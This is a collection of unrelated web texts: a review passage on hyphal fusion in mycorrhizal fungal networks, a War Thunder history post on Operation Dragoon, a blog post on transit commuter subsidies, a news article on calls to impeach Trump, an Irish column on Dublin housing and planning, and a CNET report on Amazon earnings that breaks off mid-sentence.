depending on the host plant, and reach hyphal extent of 10–40 mm per mm of root length.3 Moreover, AM extraradical networks may be interconnected by means of the widespread occurrence of anastomoses, whose formation depends on a highly regulated mechanism of self recognition between compatible hyphae. Successful anastomoses occur between hyphae belonging to the same individual and to different individuals of the same isolate, during the presymbiotic growth of AM fungi.4 By contrast, hyphae of individuals belonging to different genera and species, and even to geographic isolates of the same species, are unable to fuse, and show rejection responses, either before or after contact, revealing AM hyphal ability to discriminate against non-self.5 Extraradical mycorrhizal networks maintain the capacity of self-recognition, evidenced by the high frequency of anastomosis between hyphae originating from the same and different root systems colonized by a single AM fungal isolate.6 Here, we discuss recent advances in the study of self recognition and non-self incompatibility in hyphal networks formed by AM fungal germlings during the presymbiotic stage of their life cycle. We review evidences for the characterization of true anastomoses—i.e., complete fusions of hyphal walls, cytoplasmic flow and migration of nuclei through hyphal bridges—and for the detection of incompatibility responses—i.e., protoplasm retraction from hyphal tips and septum formation in approaching hyphae, even before physical contact—as revealed by time-lapse, video-enhanced and epifluorescence microscopy. Finally, we discuss recent results showing that the root systems of plants belonging to different species, genera and families may become linked by means of anastomosis formation between mycorrhizal networks, which can create indefinitely large numbers of fungal linkages connecting together many plants in a community.  Evidence for the Existence of Anastomosis in Presymbiotic Mycelial Networks of AM Fungi Although anastomoses have been extensively studied in vegetative hyphae of Ascomycota and Basidiomycota,7,8 they are believed to be lacking or rare in other fungal phyla.9,10 A few works reported sporadic observations of their occurrence in AM fungi, without giving any quantitative data on the frequency of hyphal fusions in the different isolates or on the cytological events involved.11–14 The first extensive study on anastomosis in AM fungi reported data on fusions of hyphae belonging to the same isolate in different species of the genus Glomus, by using a combination of time-lapse and video-enhanced light microscopy, image analysis, and epifluorescence microscopy.4 Protoplasmic continuity, the characteristic feature of successful hyphal fusions, was evidenced by the complete disappearance of hyphal walls and visualized by histochemical localization of formazan salts in hyphal fusions, after SDH (succinate dehydrogenase activity) staining ( ). Time-course experiments showed that hyphal tips were able to fuse with hyphae growing nearby in about 35 min, and that a bidirectional flow of particles (vacuoles, mitochondria, nuclei, and fat droplets) moved at the speed of 1.8 ± 0.06 µm/s through hyphal bridges formed during anastomosis.4,15 Open in a separate window The established protoplasmic flow was further demonstrated by the detection of nuclei in hyphal bridges, evidenced by DAPI (diamidinophenylindole) staining. Nuclear migration occurred between hyphae belonging to the same germling and to different germlings of the same AM fungal isolate, in three different Glomus species, G. caledonium, G. intraradices, G. mosseae.4 The ability of self compatible hyphae to fuse and exchange nuclei is of critical importance for the maintenance of genetic continuity within AM fungi, which are considered clonal organisms.16 Since they produce multinucleate spores, containing 1,000 to 5,000 nuclei each,17 and have been shown to be multigenomic,18,19 nuclear exchange during anastomosis within the same germling and between different germlings of the same isolate could represent a means for the maintenance of isolate genetic diversity, in the absence of sexual recombination.4,20,21 The frequency of anastomosis formation between contacting hyphae originating from the same germling or from different germlings of the same isolate ranged from 34% to 90%, in G. caledonium and G. intraradices, respectively.4 Similar results were found in other studies carried out on geographic isolates of G. mosseae originating from Europe (France and United Kingdom), USA (Arizona and Indiana) and Middle East (Syria), where anastomosis frequency ranged from 60% in the UK isolate IMA1 to 85% in the Arizona isolate AZ225C.5 Such values were obtained on total hyphal contacts ranging from 91 to 242, which are relatively high numbers, given the inability of AM fungi to grow extensively in the absence of a host plant.22–24 In the experimental data, mycelial length of each germling varied with the different isolates, from 34.5 ± 3.5 mm in the French isolate BEG69 to 119.5 ± 14.4 mm in the UK isolate IMA1. It is interesting to note that anastomosis densities detected in AM fungi, unable to grow saprophytically, ranged from 0.62 ± 0.06 to 1.3 ± 0.23 per cm of hyphal length, values comparable with those reported for the saprophytic fungi Rhizoctonia solani and Gibberella fujikuroi.25–27 Interactions between hyphae belonging to the same germling of AM fungal species of the genera Gigaspora and Scutellospora did never lead to anastomosis formation. In fact, no fusions were found over 220 hyphal contacts in G. rosea and over 460 hyphal contacts in S. castanea.4 These data were confirmed by other works, carried out in in vitro monoxenic cultures on mycelium spreading from Ri T-DNA transformed carrot roots, where no anastomoses were detected among main hyphae (runner hyphae) of Scutellospora reticulata, while only 1% of fusions was found in branching absorbing structures.28 Interestingly, the most important mechanism allowing fungal mycelium to become interconnected was represented by wound healing between broken hyphae, previously described by Gerdemann.29 Further studies, aimed at comparing the different anastomosis ability of two phylogenetically distant AM fungal families, Glomeraceae and Gigasporaceae, confirmed their fundamental diversity in mycelial developmental structure.30  Evidence for Non-Self Incompatibility in Presymbiotic Mycelial Networks of AMF When hyphae originating from different species or genera of AM fungi come into contact, no anastomoses are formed.4,13 Different intergeneric and interspecific hyphal pairings yielded zero fusions over large numbers of contacts, ranging from 90 in the pairing G. mosseae-G. caledonium to 140 in G. mosseae-G. rosea and 232 in G. caledonium-G. rosea. Interestingly, hyphal interactions lead to different responses, ranging from no interference—i.e., hyphal intermingling—to the formation of hyphal swellings which become empty and septate after the failure of anastomosis formation. These findings, suggesting that AM fungi can recognize self entities and discriminate self from non-self, opened the way to tests of vegetative compatibility, already used for the identification of genetically different isolates of pathogenic, saprophytic and ectomycorrhizal fungi.8,31–35 Such tests, carried out on geographically different isolates of G. mosseae, showed that hyphal interactions between different isolates do never produce anastomosis, suggesting their genetic isolation. Accordingly, hyphae intermingled without any response in 49–68% of contacts, while developed incompatibility reactions in 32–51% of hyphal contacts, in the different pairings. Incompatibility responses were consistent with those detected in hyphae belonging to different genera and species after physical contact, and were characterized by hyphal swellings, vacuolization, localized wall thickenings, protoplasm withdrawal, retraction septa formation and hyphal lysis ( ),5 and comparable to postfusion incompatibility events reported in other fungi.7,8,36–39 The strong genetic barriers to hyphal fusions exhibited by G. mosseae isolates of different geographic origins could have the function of hindering heterokaryon formation between genetically different mycelia, thus permitting the maintenance of the fittest gene combinations. Moreover, such barriers may prevent the exchange of cytoplasm and the spread of harmful genetic elements.8,40 The major evidence for the existence of a highly regulated system of self recognition and non-self discrimination in AM fungi was represented by the detection of precontact tropism and the formation of hyphal swellings and consecutive retraction septa prior to any physical contact between neighboring hyphae.5 The occurrence of hyphal tropism, previously studied also in other fungal species, Phanerochaete velutina and Stereum spp.,7,36 suggests that specific recognition signals, released by interacting hyphae, are involved in interhyphal attraction and in the regulation of hyphal fusion.32,41 Nevertheless, the nature of the specific compounds acting as signals for self recognition and non-self discrimination in AM fungi remains to be unravelled.  Visualization of Intact Mycelial Networks Spreading from Roots Colonized by AMF The most important AM fungal structure for plant nutrition is represented by the extraradical mycelium spreading from mycorrhizal roots into the surrounding soil, which is able to uptake mineral nutrients—N, P, S, Ca, K, Fe, Cu, Zn—and to transfer them to root cells.1,42–44 Mycorrhizal mycelium has been investigated in different experimental studies, based on either destructive extraction from soil or root observation chambers or in vitro systems, which yielded only qualitative data on its structure and growth.45–48 The first visualization of intact AM mycelium extending from mycorrhizal roots into the extraradical environment was obtained by means of a bidimensional model system which utilized two cellulose esters membranes “sandwiched” around the roots of individuals plantlets ( ). After only seven days' growth, a fine network of extramatrical hyphae growing on the membranes was visible to the naked eye, and its length extended from 5169 to 7471 mm (hyphal length), in Thymus vulgaris and Allium porrum, respectively ( ).3 In order to understand the fundamental role played by extraradical mycelium in nutrient uptake and translocation, it is interesting to calculate hyphal length per total root length, which reaches 40.2 mm mm−1 in A. porrum, and the mean growth rate, which ranges from 738 to 1067 mm per day, depending on the host plant. Such data are comparable with the higher values of hyphal densities previously detected by using destructive extraction from soil, which were much variable, ranging from 1.6 to 1420 mm of hyphal length per mm of root.49–52 Open in a separate window Open in a separate window The experimental system deviced to visualize the mycorrhizal mycelium also evidenced that the mechanism allowing the formation of the network was self recognition and hyphal anastomosis. Since AM fungal hyphae showed many branches (8.6–9.7 cm−1) the number of anastomoses per cm of hypha was very high (4.6–5.1), as well as their frequency, 75–78% of hyphal contact ( ). The frequency of anastomosis was higher in extraradical mycelium (symbiotic) than in presymbiotic mycelium of AM fungi or than in self-anastomosing isolates of Rhizoctonia solani.4,5,25 Table 1 Plant Species/Fungal Species Hyphal Density (mm mm−2) No. of Anastomoses Per Hyphal Length (cm) Anastomosis Frequency (%) Ref. Allium porrum/Glomus mosseae 2.7 4.6 75.0 3 Allium porrum/Glomus mosseae 3.5 3.8 59.3 6 Daucus carota/Gigaspora margarita* - 0.0075 9.8 30 Daucus carota/Gigaspora rosea* - 0.012 4.2 30 Daucus carota/Glomus hoi* - 0.057 100 30 Daucus carota/Glomus intraradices* - 0.076 100 30 Daucus carota/Glomus mosseae 3.9 2.5 45.5 6 Daucus carota/Glomus proliferum* - 0.066 100 30 Daucus carota/Scutellospora reticulata* - 0.0079 5.2 30 Gossypium hirsutum/Glomus mosseae 6.8 6.2 53.1 6 Lactuca sativa/Glomus mosseae 2.9 3.0 63.8 6 Petroselinum crispum/Glomus caledonium 3.8 1.5 18.6 § Petroselinum crispum/Glomus intraradices 2.3 5.5 56.9 § Petroselinum crispum/Glomus mosseae 3.5 4.7 62.3 § Prunus cerasifera/Glomus mosseae 2.4 5.1 64.0 3 Solanum melongena/Glomus mosseae 4.1 2.1 47.0 6 Thymus vulgaris/Glomus mosseae 2.1 5.1 78.0 3 Open in a separate window It is important to stress that the viability of the mycorrhizal network was 100% and that all the anastomoses showed protoplasmic continuity and nuclear occurrence in hyphal bridges, confirming the occurrence of nuclear exchange also during fusions between extraradical (symbiotic) hyphae.  Visualization of Belowground Interconnections between Plants of Different Species, Genera and Families AM fungi have been reported to be active in mediating nutrient transfer among plants,53–58 mainly through the extensive mycelial networks, which, due to the lack of host specificity, may link the roots of contiguous plant species.57,59,60 Recent studies showed a novel mechanism by which plants may become interconnected, that is hyphal fusions between extraradical hyphae originating from different individual plant root systems of different species, genera and families.6 The bi-dimensional experimental system utilized allowed the visualization and quantification of fusions between mycorrhizal networks spreading from Allium porrum (leek) root systems—after inoculation with the AM symbiont Glomus mosseae—and those originating from Daucus carota (carrot), Gossypium hirsutum (cotton), Lactuca sativa (lettuce), Solanum melongena (eggplant). The use of plants belonging to different species allowed the detection of a host plant effect on the development of extraradical mycelium, since hyphal density in cotton was 6.8 mm mm−2, a value statistically different from those of all the other plant species, which ranged from 2.9 to 4.1 mm mm−2 in lettuce and eggplant, respectively ( ). Cotton was also the species which showed the highest interconnectedeness in the mycorrhizal network: the number of anastomoses per mm of hyphal length was 0.62 compared to values ranging from 0.21 to 0.38 of the other species. The frequency of anastomoses between mycorrhizal networks originating from the different plant species was very high, ranging from 44% in the pairing leek-eggplant to 49% in the pairing leek-cotton, even though lower than that between networks spreading from the same species, leek (62%). The occurrence of true anastomoses was verified by means of SDH and DAPI stainings: formazan salt depositions and nuclei were detected in the middle of hyphal bridges connecting different mycorrhizal networks, whereas no hyphal incompatibility reactions were found in interactions between hyphae connecting different mycorrhizal networks. The high rate of anastomosis formation between extraradical hyphae spreading from the root systems of different plants suggests that plant interconnectedness may be greater than previously thought. Accordingly, due to the wide host range of AM fungi, mycorrhizal mycelium could give rise to an indefinitely large network of hyphae interconnecting contiguous plants, representing a major factor in the distribution of resources in plant communities.56,57,61,62 The bi-dimensional experimental system deviced for visualizing the structure of the mycorrhizal network could be further implemented, to detect and quantify nutrient and carbon transfer in the “soil food web”.63–66  Acknowledgements This work was supported by funds from the University of Pisa (Italy) and by C.N.R. (National Research Council, Italy).  Footnotes Previously published online as a Plant Signaling & Behavior E-publication: http://www.landesbioscience.com/journals/psb/abstract.php?id=2227
-Attention! This news was published on the old version of the website. There may be some problems with news display in specific browser versions.  Operation "Dragoon"  “We went down there with 22 men and there were only five of us left at the end. We used to drink ourselves silly every day, out of sheer joy that we were still alive.”  Unteroffizier Walter Lang (1./JGr. 200), 23 August 1944  War Thunder presents special disсounts:  From September 14th, 8am GMT (1am PDT) till September 16th, 8am GMT (1am PDT)  Allies: 20% discount on purchasing:  P-47D-25, P-47D-28, P-51D-5 Spitifre Mk.Vb, Beaufighter Mk.VIc Germany: 20% discount on purchase and 25% discount on repair costs for: Ju-88A-4, Me.410-A1, Bf.109G-6, Fw.190F-8 Germany gets 30% discount on the XP conversion.  The 2nd Invasion of Europe  Most remember the D-Day Landings at Normandy. However, few can recall that the original plans called for 2 smain landing in France .Originally planned as Operation Anvil and Overlord. Dragoon was to coincide with the landings at Normandy codenamed “Overlord”. The Attack however was delayed due to slowed than expected progress in the Italian theater of Operations as well as lack of usable landing craft in the sector.  On August 15th, 1944 an invasion force of 887 ships, 2,000 aircraft, 173,000 men, and 18,000 vehicles. Set out from ports in Corsica on a path to landing ports in the French Riviera. The Allies chose the Var Coast east of Toulon. Where the German and Vichy French defenders were reinforced, but surprised at the assault nonetheless.  Landings Took place with aim at  Alpha (Cavalaire-sur-Mer)  Delta (Saint-Tropez)  Camel (Saint-Raphaël)  Prior to the Invasion of Southern France. The German Air Forces in days leading up to the attack had received some much needed re-enforcements to defending units in southern airfields. Germany's Fleigerdivision 2 with it's HQ in Montfin as well as General Blaskowitz's Army Group G were stationed as Static units in the surrounding countryside. Only the 11th Panzer division remained at that time as a full fledged fighting force due to supply issues in the entire Army group prior to the Invasion.  The landings on August 15th were aided by ship and air bombardment. As fighting at Camel beach proved to be the most difficult. Especially Camel-red (near Saint-Raphael) where air support from British Hellcats were paramount but nonetheless the landings had to be shifted to other parts of the beach. Repeated airstrikes from German torpedo and bomber planes. Backed by fighter escorts and Heavy fighters rained down upon the ships day and night. This drastic contrast unlike the Normandy invasion. Paints a quite harrowing picture of the ground scene. As the Army fell and retreated, the air war became more and more a desperate race for the German pilots to buy them more time. The German Army group in fact it was noted by General Eisenhower after the fact that had they had know the true status on the ground they would had pushed sooner, faster, with more people than in Normandy.  Subsequently though the landings in the south allowed the allies use of the Mediterranean ports in the Riviera. Also opening a spear head that would eventually liberate most of southern France almost effectively dissolving the Vichy government in one fail swoop.  23 Jun 1944 Churchill, with misgivings, gave in to pressure from the Americans and sanctioned operation Anvil (the proposed US-French invasion of the south of France). 2 Jul 1944 General Sir Henry Maitland Wilson (Supreme Commander, Mediterranean) received orders from London, England, United Kingdom to organize the invasion of Provence, France. The name of this operation was changed by British Prime Minister Churchill to "Dragoon". 20 Jul 1944 French troops began withdrawing from Italy in preparation for the invasion of southern France. 21 Jul 1944 The French Expeditionary Corps and the US VI Corps began to be withdrawn from the front lines in Italy to prepare for the invasion of Southern France. 15 Aug 1944 Operation Dragoon, the invasion of southern France, began. On the same day, Saint-Tropez, Var, France was captured by the 15th Infantry Regiment of 3rd US Infantry Division. 21 Aug 1944 French First Army enveloped Toulon, France. 23 Aug 1944 US troops from the north and French troops from the south met near Bordeaux, France. 24 Aug 1944 Allied forces liberated Cannes in southern France. 26 Aug 1944 French troops captured Tarascon and Avignon, France. 27 Aug 1944 The last German troops in Toulon, France surrendered. 28 Aug 1944 The German garrison in Marseilles, France surrendered to French forces. 29 Aug 1944 French troops captured Montélimar in southern France. 3 Sep 1944 US and French troops reached Lyon, France.  All the pictures are taken from the author's personal archive.  Discuss the news on the official War Thunder forums  About the Author:  Clay «FryingTiger» Remy, a Historical Consultant, Alpha tester, and Global Moderator for War Thunder. With over 10 years Military Service in the US Marine Corps active and reserves. Technical/Historical researcher and owner of a company that provides training and licensing of equipment for use in films, documentaries, museums, and other displays. I have been involved in a variety of digital projects stemming from video games stemming from flight Sims like War birds, WWIIOL, to Ship and FPS products on a variety of platforms. I also provide Historic data and quality assurance for films and museums for military related projects.
-We have a lot of poorly-designed tax policy in this country, and transportation policy is no exception. Under IRS Code Section 132(f), the federal government outlines its "qualified transportation fringe" benefit, which, as of 2014, allows for tax deductions of up to $245/month for parking, $130/month for transit, and $20/month for bicycling. For transit, the commuter benefit can cut the costs of a monthly pass by 15 percent or more, which amounts to hundreds of dollars per year for most regular transit users. That kind of cost reduction could have a significant impact on ridership, but, unfortunately, whether you get that discount or not is up to your boss, not you, and most small businesses (and even many large ones) simply don't offer it.  Broadening the reach of this program would be hugely beneficial to cities and their residents, saving money for the people who need it most and boosting transit use in the process. I started thinking about how we could accomplish this a while back, and wrote about some of those ideas on my blog over a year ago. If you want a little more detail about how the commuter benefit works in practice, I recommend you check out that previous post.  Recently though, as I continued to think about how we might get this benefit into the hands of more people, particularly employees of smaller businesses (which are much less likely to offer these types of fringe benefits — see here, page 9) I started to wonder: if we really want more people to use transit, and we think it's a worthwhile goal to subsidize people's commutes, why go through all the trouble of tax deductions and employer control? Why not make things simple and just subsidize transit passes directly?  Photo from Next Stop STL.  Currently, if employees want to have their transit passes (or parking) subsidized they're basically reliant on their bosses to care enough about the program to offer it. The benefit does reduce the tax burden on the business as well as the worker, but the bulk of the benefit goes to employees and it's possible that the costs of time and paperwork exceed the benefits for many small employers. It's an unnecessarily complex process that almost seems designed to reduce commuter benefit claims. If the government wants to subsidize commutes it should be prepared to subsidize everyone's commutes, not just those fortunate enough to work for large employers, like Microsoft or GE, that have the resources to offer them.  Instead of going to all this trouble we could move to a system where transit pass prices were directly subsidized by the federal government: organizations like the MTA and King County Metro could set their fare prices, then automatically reduce them by a set amount — say 20 percent. Then, at the end of every year, they could determine the cost of the subsidy and submit a bill to the government. In other words, almost exactly what we already do, without all the pointless intermediate steps.  Direct subsidies would have a number of benefits over the current system:  Everyone would be served by the subsidy regardless of employer, income, or the extent of their knowledge of tax policy. VTPI executive director (and Planetizen blogger) Todd Litman has compiled research indicating that a fare increase of 10% can decrease ridership by 2% to 10%. Insofar as more people would be eligible for discounted passes, transit ridership would be likely to increase. Employers would save time, no longer needing to bother with burdensome and unnecessary tax documentation. Because all transit users would benefit, federal government spending on transit would increase while local jurisdictions saved money (which is already the outcome of commuter tax benefits, just on a smaller scale). Although total federal transit subsidies would increase, per-person costs would decrease because of the reduced time spent on individual tax filings and simplified/consolidated service delivery. More people would buy monthly transit passes, which speeds transit loading and encourages greater reliance on transit: the money's already spent, so the more you use it the more value you get from it. Perhaps most importantly, this would be a far more equitable way to allocate resources. Under the current tax structure, higher-paid workers receive a greater discount because their tax deduction falls under a higher tax bracket. An employee earning $35,000 a year receives a 15% discount, while someone earning ten times that amount receives a 33% discount. It's wrong, and it should change.  This would also put more power in the hands of employees. If we wanted to retain the payroll tax deduction for employers (and I'm not really sure why we would, since they wouldn't play a role any longer), it would be up to the employer to reach out to the employee to confirm their participation in the program, not the other way around. If we eliminated the payroll tax deduction for employers, as we probably should under this new system, those savings could help pay for its increased employee-subsidy costs.  To those who would argue that the commuter benefit is for getting to and from work, not for all transit trips, my first question would be: Why? Is travel to work the only one of any value, economic or otherwise? I would definitely argue against that notion. Also, since the tax deduction is usually tied to the purchase of a monthly transit pass, not one-off fares, we're already failing to differentiate between work and non-work trips. When I worked for the University of Washington I received a heavily discounted transit pass, and I used it for visiting friends and going to the store as often as I used it for my commute, and I think that's okay. It's especially important that we get people out of their cars during peak commute hours, but it's valuable at all times of day, for all purposes.  What do readers think? Any benefits I missed, or unforeseen consequences you think I may have overlooked?
-“I think we’re in impeachment territory.”  Those were not the words of a left-wing political blogger with high hopes, nor a hyperactive Twitter maven spouting conspiracy theories. They came from David Gergen, the typically moderate, mild-mannered CNN analyst and former aide to four presidents, both Republican and Democrat.  Gergen appeared on CNN Tuesday night to discuss the controversies that have overwhelmed the Trump administration in the past week.  At the top of the list were reports that President Trump had asked then-FBI Director James B. Comey to drop an investigation into Michael Flynn, the former national security adviser. The revelation has fueled claims that Trump might have obstructed justice, which in the past has been treated as an impeachable offense.  If true, it could mean devastating consequences for the president, said Gergen, who served under Presidents Richard Nixon and Bill Clinton, both of whom faced the impeachment process.  “I was in the Nixon administration, as you know, and I thought after watching the Clinton impeachment I’d never see another one,” Gergen told host Anderson Cooper. “But I think we’re in impeachment territory now for the first time.”  Cooper asked: “Really?”  “I think that obstruction of justice was the number one charge against Nixon that brought him down,” Gergen responded. “Obstruction of justice was the number one charge against Bill Clinton, which led to his indictment in the House.”  In controversy after controversy, Republican lawmakers have defended President Trump's actions. But with his disclosure of highly classified information to Russian diplomats, they've floundered to explain the decision. (Jenny Starrs/The Washington Post)  The New York Times first, then The Washington Post and other outlets have reported that Trump had asked Comey in a February meeting not to pursue the Flynn probe and instead go after journalists in leak cases. Comey shared his notes from the conversation with aides, who in turn described the notes to reporters. Legal analysts told The Washington Post Tuesday that a criminal obstruction-of-justice case is possible but would likely require more evidence.  The news came within a week of Trump’s dismissal of Comey and a day after reports that Trump had shared classified information with Russia.  The White House denied the version of the conversation described by Comey’s aides, telling The Post “the president has never asked Mr. Comey or anyone else to end an investigation.” Trump has separately defended his firing of Comey and his sharing of information with Russian officials.  On CNN, Gergen said that “from a lay point of view” it appeared Trump was trying to impede the FBI’s investigation.  “He was using his power to do that, and when James Comey didn’t go along with him, when he wasn’t his boy, he fired him, which I think is also relevant to the question of what he was trying to do,” Gergen said. “So from my point of view this is of enormous consequence for his presidency.”  “I think if you look at the three bombshells we’ve had,” Gergen added, “what we see is a presidency that’s starting to come apart.”  Gergen wasn’t the only moderate voice to suggest Tuesday that a plausible case for Trump’s removal was emerging.  Ross Douthat, a conservative columnist for the New York Times and longtime critic of Trump, wrote that while Trump may not be guilty of the “high crimes and misdemeanors” necessary for impeachment, he had shown himself incapable of governing the country. A more appropriate solution, Douthat argued, was to remove Trump under the 25th Amendment, which allows the president’s cabinet to deem him “unable to discharge the powers and duties of his office.”  “It is not squishy New York Times conservatives who regard the president as a child, an intellectual void, a hopeless case, a threat to national security,” Douthat wrote. “It is people who are self-selected loyalists, who supported him in the campaign, who daily go to work for him.”  The 25th Amendment, ratified in 1967 in the wake of the assassination of John F. Kennedy, sets out both a plan of succession for the presidency and a complicated and daunting means of removing a president deemed incapacitated.  The relevant Section 4 reads as follows:  Whenever the Vice President and a majority of either the principal officers of the executive departments or of such other body as Congress may by law provide, transmit to the President pro tempore of the Senate and the Speaker of the House of Representatives their written declaration that the President is unable to discharge the powers and duties of his office, the Vice President shall immediately assume the powers and duties of the office as Acting President. Thereafter, when the President transmits to the President pro tempore of the Senate and the Speaker of the House of Representatives his written declaration that no inability exists, he shall resume the powers and duties of his office unless the Vice President and a majority of either the principal officers of the executive department or of such other body as Congress may by law provide, transmit within four days to the President pro tempore of the Senate and the Speaker of the House of Representatives their written declaration that the President is unable to discharge the powers and duties of his office. Thereupon Congress shall decide the issue, assembling within forty-eight hours for that purpose if not in session. If the Congress, within twenty-one days after receipt of the latter written declaration, or, if Congress is not in session, within twenty-one days after Congress is required to assemble, determines by two-thirds vote of both Houses that the President is unable to discharge the powers and duties of his office, the Vice President shall continue to discharge the same as Acting President; otherwise, the President shall resume the powers and duties of his office.  1 of 58 Full Screen Autoplay Close Skip Ad × A look at President Trump’s first six months in office View Photos Scenes from the Republican’s beginning months in the White House. Caption Scenes from the Republican’s beginning months in the White House. Jan. 25, 2017 Trump signs an executive order for border security and immigration enforcement improvements at the Department of Homeland Security in Washington. Chip Somodevilla/Pool photo via Bloomberg News Buy Photo Wait 1 second to continue.  More from Morning Mix:  Yale dean once championed cultural sensitivity. Then she called people ‘white trash’ on Yelp.  Sean Spicer cutouts are popping up in bushes worldwide, thanks to this Canadian professor  With Comey firing, even more restrained Trump critics let loose
-There is another house price bubble under way in the Dublin area. Notwithstanding the efforts by the Central Bank to keep mortgage credit under control, some extraordinary prices have been quoted recently for the small parcels of land that become available.  There is another house price bubble under way in the Dublin area. Notwithstanding the efforts by the Central Bank to keep mortgage credit under control, some extraordinary prices have been quoted recently for the small parcels of land that become available.  A site with planning permission is for sale on Vernon Avenue in Clontarf, on the north side of the capital. This is a nice area, close to the sea and only about four kilometres from the city centre.  The site is small, just under an acre, which equates to half a soccer pitch or about seven tennis courts. The permission is for 17 three-bedroom houses, so it will be a bit of a pinch. The guide price quoted for the site is €3.85m, which works out at an average €226,471 in site cost per unit. Given construction costs on smaller sites in the city and the various levies and taxes, if building goes ahead, these homes will need to sell for prices in the €500,000 bracket.  There is a three-bedroom semi-detached house available on the property websites currently, also on Vernon Avenue, which runs to 1,313 square feet. It is priced at €640,000, which should help explain the €4m per acre expected for the 17-house site.  The Phoenix Park contains 1,752 acres and is worth over €7bn on the per-acre Clontarf valuation. The Government alone must own enough Dublin land, on this basis, to wipe out the national debt.  This is not a proposal to carpet the Phoenix Park in three-bedroom houses, it is an illustration of the dysfunctional market that has already re-emerged in the city just a few years after the biggest housing bust in the country's history. There are working farms inside the M50, which is about 8km from the city centre through most of its length.  That is to say there is vacant land, not zoned residential, in the inner suburbs of Dublin, while demand pressure is sufficient to push the price for ready-to-go sites to €4m per acre. Huge rolling prairies of land can be found north and west of the ring road, further out, but some of it no more than 10km or 12km from the centre, which the planners have designated for agriculture (or 'amenity', whatever that means).  Meanwhile, would-be first-time buyers working in Dublin are eyeing properties in the midlands, 70km and 80km from the city, which are available at prices they can afford, but from which they must contemplate a daily commute of up to two hours through the vacant countryside.  On Joe Duffy's radio programme on Friday one young woman explained that she owned a five-bedroom house in Mullingar which she loved, but that the daily commute was a grind. Mullingar is 80km from central Dublin. She reckoned she could sell the Co Westmeath property for about €200,000, which is probably just over the cost of construction. But it is not enough to buy a site in Clontarf.  Commuters from the midlands who travel into central Dublin along the M3 motorway pass to the left a district called Pelletstown,, well inside the M50 and convenient to the Phoenix Park and many other amenities. There has been some residential construction around the area in recent years, mainly apartments.  The suburban railway line to Maynooth, upgraded at considerable expense in recent times, runs through the area which, like Clontarf, is just 4km from the centre. There are large tracts of undeveloped land around Pelletstown, inside the M50, including some currently devoted to agriculture, a curious obsession for urban planners. Prices in Pelletstown and adjoining districts are below Clontarf levels - it's a nice area too, but not close to the sea. Prices in the €300,000 bracket are nonetheless beyond reach of Dubliners on average incomes, or of the owners of fine five-bedroom properties in distant Mullingar.  There is a scheme for 318 new homes in Pelletstown headed for appeal to An Bord Pleanala. The area has been zoned residential since 1999, but existing residents object that the new development will add pressure to inadequate school provision in the area. They also complain that a promised railway station (on an existing line already built and paid for) has not been provided.  The merits of their objections are for An Bord Pleanala to adjudicate, but it is lamentable that this squabble continues. The residents may well have a case: public authorities, including the Department of Education and transport providers, can be a part of the problem too.  There are local disputes about numerous other residential sites in the Dublin area which actually enjoy residential zoning but where necessary services have not been provided. It is vacuous to point to the availability-on-paper of zoned land if it is impossible as a practical matter to proceed with development. But the deeper problem is the absolute prohibition by the planners of residential development in the outer suburbs of the city. There is enough land between Mullingar and Dublin to build a mega-city. Indeed there is enough land along the outer side of the M50 to meet current and future demands, some of it already close to decent transport links.  Two researchers at the London School of Economics, Christian Hilber and Wouter Vermeulen, have just released a paper in The Economic Journal looking at the development of house prices in the United Kingdom in recent decades and the role played by planning restrictions.  They conclude that planning restrictions have had a critical cumulative impact and that the areas of the UK with the most unaffordable house prices are the ones with the greatest regulatory interventions. The UK system of planning and zoning, and the system of housing finance, have been copied in this country and the resulting dysfunctionality of the housing market is not a coincidence. Housing costs are not a huge issue in Britain outside London and the southeast. Sounds familiar - there is no great issue in Ireland either, outside Dublin and a few other urban centres.  There are two bad answers to the Dublin affordability crisis. The first is to relax the mortgage lending rules, placing both banks and borrowers in the path of temptation. It is not prudent for banks to lend people very large multiples of income for house purchase, nor is it prudent to head back towards 100pc loan-to-value ratios. Remember how well that worked out?  The market valuations in Dublin are anyway distorted upwards by the artificial restrictions on supply. Housing is not a reliable form of collateral for long-term secured lending if there is a risk of sensible valuations, and hence negative equity, once a sane housing policy is instituted. Even if banks were permitted by the granite-faced supervisors to loosen mortgage finance, would it be wise for them to do so, or for the borrowers to avail of their imprudence?  The second bad answer would be to permit a renewed bout of pay inflation driven by the inability of Dublin-area employees to aspire to home ownership at current prices.  The last credit bubble saw government concessions to escalating pay demands, notably in the public service. Why not offer cheaper homes, instead of higher pay and higher debts?  Sunday Independent
-James Martin/CNET  Looks like Amazon got its happy holidays after all.  The company on Thursday reported a profit of $214 million, or 45 cents a share, on revenue of $29.33 billion, exceeding some analysts' estimates of 17 cents a share on $29.68 billion in revenue.  The results show that Amazon learned from the mistakes it made last year when its delivery partners FedEx and UPS ended up with a backlog of packages that caused some shipments to arrive at customers' doorsteps after Christmas. This year, the world's largest online retailer revised its delivery plans and even extended its Christmas delivery cutoff date, getting packages to customers on time, said Scot Wingo, CEO of ChannelAdvisor, which provides analytics and other services to online retailers.  For the current quarter, the company said it expects sales to rise to between $20.9 billion and $22.9 billion, growing 6 percent to 16 percent compared with the first quarter last year. It also forecast that operating income would range from a loss of $450 million to a profit of $50 million. Amazon last year reported $146 million in operating income.  Last quarter's profit comes after two consecutive quarters of losses, and investors are buying into the results. Shares surged more than 13 percent in after-hours trading. The stock closed at $311.78, up $7.87, or more than 2 percent.  "They did a really good job of extending the holidays and not repeating the debacle of last year," Wingo said.  Like other retailers, Amazon sees a spike in activity during the season, with big shopping days like Black Friday and, in more recent years, Cyber Monday, driving orders.  The holidays also tend to bump up the company's Prime membership, as people take advantage of the program's free, two-day shipping for last-minute shopping. The company in March hiked the price of Prime membership to $99, up from $79.  "When we raised the price of Prime membership last year, we were confident that customers would continue to find it the best bargain in the history of shopping," Amazon CEO Jeff Bezos said in a statement. "The data is in and customers agree -- on a base of tens of millions, worldwide paid membership grew 53 percent last year -- 50 percent in the U.S. and even a bit faster outside the U.S.  Amazon did not release specific numbers for Prime. Wingo estimated that Prime membership has grown to roughly 40 million.  Prime is a key component of Amazon's strategy. A subscription service that gives members access to e-books, videos and music in addition to two-day shipping, it keeps customer -- and their dollars -- inside Amazon's vast ecosystem. One study of 2014's fourth quarter found that Prime customers spend hundreds more on Amazon than non-Prime shoppers.  "When a customer becomes a Prime member, they do step up their purchases very considerably," Chief Financial Officer Tom Szkutak said during a call with journalists following the report. He would not say how much more Prime members spend or whether they're watching more streaming videos than other consumers. Amazon has heavily invested in its Prime Instant Video service, which Szkutak said is driving more consumers to Prime.  The real star of Amazon's earnings continues to be its cloud-computing arm, Amazon Web Services. The company said that 1 million people use the service now and that it will start breaking out the service's financials this 